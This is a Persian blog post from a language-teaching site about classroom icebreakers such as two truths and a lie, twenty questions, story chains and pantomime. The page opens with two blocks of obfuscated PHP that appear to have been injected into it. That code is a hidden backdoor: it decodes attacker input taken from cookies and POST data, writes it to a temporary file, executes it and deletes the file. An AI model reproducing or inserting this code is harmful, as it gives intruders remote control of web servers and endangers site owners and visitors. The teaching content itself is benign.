$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} صمیمیت در کلاس زبان؛ روشی جدید برای بهبود یادگیری | وبلاگ اتیچر

صمیمیت در کلاس زبان؛ روشی جدید برای بهبود یادگیری

زمان مطالعه: ۷ دقیقه

چه معلم باشید چه زبان آموز، به طور حتم شما نیز در موقعیت هایی قرار گرفته اید که نمی دانید چطور گفتگو را با دیگران آغاز کنید. زمانی که صمیمیت در کلاس زبان نیست، نمی‌توان ادعا کرد که یک معلم خوب و یا بد است و یا گفت که زبان آموزان نقش خود را به خوبی در کلاس زبان ایفا نمی‌کنند. دلایل فراوانی برای عدم تمایل زبان آموزان به گفتگو وجود دارد. به عنوان مثال ممکن است خستگی، زمان شروع کلاس زبان و یا موضوع کلاس باعث بروز چنین حالاتی در میان زبان آموزان شود. آیا تاکنون به فکر راه نجات از این وضعیت افتاده اید؟ آیا تاکنون راه چاره ای برای حل این مشکل به ذهنتان رسیده است؟ نیاز نیست که خودتان را نگران کنید، زیرا در این مقاله می‌توانید لیستی از فعالیت های مناسب برای ایجاد صمیمیت بیشتر در میان زبان آموزان را فرا گیرید. این فعالیت های بازی‌گونه را می‌توان در میان هر قشری چه بزرگ سال و یا میان سال اجرا کنید.

فهرست بخش ها

 ایجاد صمیمیت بین همکلاسی ها در کلاس زبان

قبل از اینکه سراغ لیست اصلی برویم، اجازه دهید تا نکاتی در مورد ایجاد صمیمیت در کلاس زبان بیان کنیم. قصد داریم در این وضعیت یخ موجود در میان زبان آموزان را آب کنیم. یخی که ما در مورد آن صحبت می‌کنیم ناشی از عدم شناخت صحیح همکلاسی ها و یا زبان آموزان است. علاوه بر این خستگی، کسالت و یا سایر عوامل مشابه نیز می‌توانند در این موضوع دخیل باشند.اما این فعالیت ها باید کوتاه، جذاب و متفاوت باشند. بعضی مواقع می‌توان از فعالیت های فیزیکی همانند جا به جایی در کلاس زبان، تغییر محل صندلی ها و یا حتی پرش نیز برای هیجان بیشتر آنها استفاده کرد. ولی همواره به خاطر داشته باشید که نیازی نیست تا زبان آموزان را مجبور به انجام کاری نمایید.

کلاس زبان

در ادامه می‌توانید با چند نمونه از بهترین فعالیت ها برای ایجاد صمیمیت بیشتر در میان زبان آموزان آشنا شوید:

شروع کلاس زبان با  تمریناتی از قبیل :۱.دو حرف راست، یک حرف دروغ ۲.بیست سوالی ۳.تکمیل کردن داستان ۴. پانتومیم ؛ می‌تواند بسیار جذاب باشد و باعث علاقه مندی دانش آموزان به کلاس و یادگیری بهتر زبان شود این فعالیت کوتاه است و می‌تواند اطلاعات مفیدی در مورد زبان آموزان در اختیار سایر همکلاسی ها قرار دهد. علاوه بر این، با چنین فعالیت هایی می‌توان از سطح دانش زبان آموزان نیز با خبر شد.

 دو حرف راست، یک حرف دروغ

این فعالیت یکی از محبوب ترین نمونه ها برای ایجاد صمیمیت بیشتر در میان زبان آموزان است. تاکنون این نوع فعالیت ها را در دانشگاه ها، کلاس های زبان در سنین مختلف، در دبیرستان ها و حتی با دوستان خود نیز انجام داده ایم. در تمامی موارد توانسته ایم نتایج خوبی از این کار به دست آوریم. برای انجام این فعالیت کافی است تا از دوستان خود بخواهید تا سه فعالیت  مختلف را نام ببرند. در حقیقت نباید هیچ یک از همکلاسی ها در این مورد اطلاعاتی داشته باشد. از میان این سه مورد باید دو حرف راست و یک حرف دروغ باشد. از جملاتی که در این شرایط امکان استفاده از آن وجود دارد می‌توان به حقایق زندگی و یا حتی بعضی از موارد موجود در زندگی شخصی خود از قبیل جویدن ناخن، تعداد برادرها و یا خواهرها، و یا حتی بعضی از سرگرمی های خاص مانند شنا کردن با دلفین ها اشاره کرد. بهتر است تا تمامی این موارد نوشته شوند و سپس نویسنده نوشته خود را با صدای بلند بخواند و یا با عوض کردن آن‌ها با دیگران، از سایرین بخواهد تا آن‌ها را بخوانند. در هر صورتی نیاز است تا تمامی زبان آموزان حدس‌های خود را برای راست بودن و یا دروغ بودن این موارد بیان کنند.

بیست سوالی

تعدادی کارت را که روی آنها نام افراد شناخته شده قرار گرفته است در درون کلاهی قرار دهید. در صورتی که آشنایی با فرهنگ زبان مورد نظر نداشته باشید، می‌توانید با جستجوی ساده ای اطلاعات مناسبی از خواننده های آن کشور به دست آورید. سپس از یکی از زبان آموزان خود بخواهید تا با انتخاب کارتی سعی کند تا با انجام حرکات مشابه با آن شخص، خود را به آن‌ها معرفی نماید. سایر همکلاسی ها می‌توانند با طرح سؤالاتی که پاسخ آنها بله و یا خیر است، اطلاعاتی در مورد او به دست آورند. هر کسی که توانست به درستی این شخصیت را شناسایی کند، می تواند کارت بعدی را انتخاب نماید. محدودیت دیگری که در این بازی وجود دارد، تعداد سؤال ها است. تعداد سوالات نباید از ۲۰ بیشتر شود. با انجام این بازی تاثیر بسزایی بر روی یادگیری زبان دانش آموزان ایجاد می‌شود.

معلم نیز در این بازی نقشی تعیین کننده بر عهده دارد. او می‌تواند با تمرکز بر روی گرامری خاص همانند گذشته ساده، آن را به دانشجویان آموزش دهد. علاوه بر این، می‌توانید از زبان آموزان بخواهید تا خود اقدام به تولید کارت های مختلف نمایند.

۳- تکمیل کردن داستان:

این فعالیت سرگرم کننده نیز نقش مهمی در ایجاد صمیمیت بیشتر در میان زبان آموزان و متعاقبا بر روند یادگیری زبان دارد. همانند نمونه قبلی، برای انجام این فعالیت نیز می‌توانید از موارد موجود در کلاس زبان خود استفاده کنید. روش کار به این صورت است که از زبان آموزان بخواهید تا جمله ای در مورد هر چیزی که به ذهنشان می آید، بنویسند. ( به عنوان مثال: دیروز در سیاره مریخ از خواب بلند شدم.) فردی که در کنار آنها نشسته است نیز باید ادامه آن جمله را بیان کند. این روند توسط سایر زبان آموزان نیز ادامه باید پیدا کند تا اینکه تبدیل به داستانی شود. پس از اینکه به زبان آموز آخر رسیدید، این فرد باید داستان را به پایان برساند. می توان این فعالیت را در دفعات متعدد انجام داد و هر بار از یک زبان آموز شروع کرد. در چنین فعالیت هایی شرکت کنندگان می‌توانند اوج خلاقیت خود را به نمایش گذارند و در بیشتر مواقع داستان های آنها پایانی بسیار خنده دار خواهد داشت. در عین حال، چنین فعالیت هایی می‌توانند جهت تقویت مکالمه و همچنین مهارت شنیداری  آنها را به میزان قابل توجهی بهبود ببخشد.

۴- پانتومیم

همواره می‌توان از پانتومیم برای ایجاد سرگرمی بیشتر در میان زبان آموزان استفاده کرد. ممکن است از شنیدن این موضوع متعجب شوید. ولی در حقیقت پانتومیم می‌تواند یکی از موثرترین فعالیت ها برای یادگیری زبان انگلیسی حتی در کودکان باشد. در این بازی یکی از زبان آموزان باید سکوت کند و با انجام حرکات بدن موضوعی را به سایرین منتقل نماید. در چنین حالتی می‌توان برای تاثیر پذیری بیشتر، زبان آموزان را در گروه های مختلف قرار داد و به نحوی برنامه ریزی کرد که تمامی افراد توانایی شرکت در فعالیت را داشته باشند. نمونه های مختلفی برای پانتومیم در نظر گرفته شده است که در ادامه می‌توانید چند نوع از آنها را مشاهده کنید:

الف- پانتومیم زبان حال استمراری و گذشته استمراری:

در این فعالیت نیاز است تا زبان آموزان از کارت هایی با جملات کامل استفاده نمایند. در این جملات باید حداقل ۲ فعل به کار برده شود. نیاز است تا زبان آموزان بدون استفاده از صدای خود، مفهوم این جملات را به سایر همکلاسی ها منتقل کنند. به عنوان مثال، من در خیابان راه می روم و بستنی می‌خورم. از زبان آموزان بخواهید تا با ارائه توضیحاتی در مورد کلمات موجود در کارت ها اطلاعات بیشتری ارائه دهند. برای هیجان بیشتر می‌توان از محدودیت زمانی استفاده کرد. به نظر می‌رسد یک دقیقه برای انجام این نوع فعالیت ها کافی باشد. در مورد سایر زبان آموزان با سطح دانش بالاتر، می‌توان از فعالیت های مشابه ولی سخت تری استفاده کرد. به عنوان مثال می‌توان با ترکیب گذشته ساده و همچنین گذشته استمراری تمرینات متنوعی به وجود آورد.

همچنین می‌توانید برای یادگیری زبان از آموزش آنلاین بهره گیری کنید برای کسب اطلاعات بیشتر درباره آموزش آنلاین مطالعه مقاله زیر پیشنهاد می‌شود 

 

مزایا و چالش های آموزش آنلاین زبان انگلیسی

 

در اتیچر زبان آموزان به راحتی می‌توانند با استاد زبان خود کلاس را به صورت آنلاین برگزار کنند. می‌توانید با رزرو یک جلسه آزمایشی آنلاین یادگیری زبان را تجربه کنید.

 پانتومیم موضوعی:

می توان از این روش برای سرگرم کردن کودکان و نوجوانان استفاده کرد. برای انجام این کار، هر موضوعی را که در کلاس زبان مطالعه کرده اید استفاده نمایید و هر کلمه‌ای را که از قبل فرا گرفته اید، مجددا بررسی کنید. به عنوان مثال، ممکن است بخواهید در مورد مشاغل مختلف با زبان آموزان گفتگو کنید. در چنین حالتی می‌توانید آنها را در گروه های مختلفی دسته بندی نمایید و در این گروه ها نیاز است تا اعضای آن در کمتر از یک دقیقه مشاغلی را به نمایش گذارند. برای موفقیت بیشتر می‌توان از اشیای مختلف موجود در کلاس زبان نیز استفاده کرد.

با استفاده از تمامی این فعالیت ها می‌توان انرژی مورد نیاز را به گروه های مختلف منتقل کرد و به زبان آموزان برای تقویت مهارت های مورد نیاز کمک کرد. تمامی این فعالیت ها کوتاه، ولی پر ثمر هستند و می‌توانند هیجان را مجددا به کلاس وارد کنند و به زبان آموزان کمک نمایند تا از دانسته های خود در کلاس استفاده کنند و علاوه بر این، اساتید نیز می توانند قدرت مکالمه زبان آموزان خود را مورد سنجش و بررسی قرار دهند.

همچنین می‌توانید تمامی این فعالیت ها را در خارج از کلاس زبان با دوستان و همچنین در گروه های مختلف انجام داد. این شیوه ها می‌توانند یادگیری زبان را لذت بخش و مفرح کند.

 

به این مقاله امتیاز بدهید

امیر عبادی

نوشته های مرتبط

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search